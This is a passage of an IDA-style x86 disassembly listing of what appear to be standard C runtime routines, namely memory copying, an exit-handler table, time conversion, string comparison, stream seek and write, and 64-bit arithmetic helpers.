		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2790102h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2880000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2870000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26A0ED2h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 26A08EAh
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
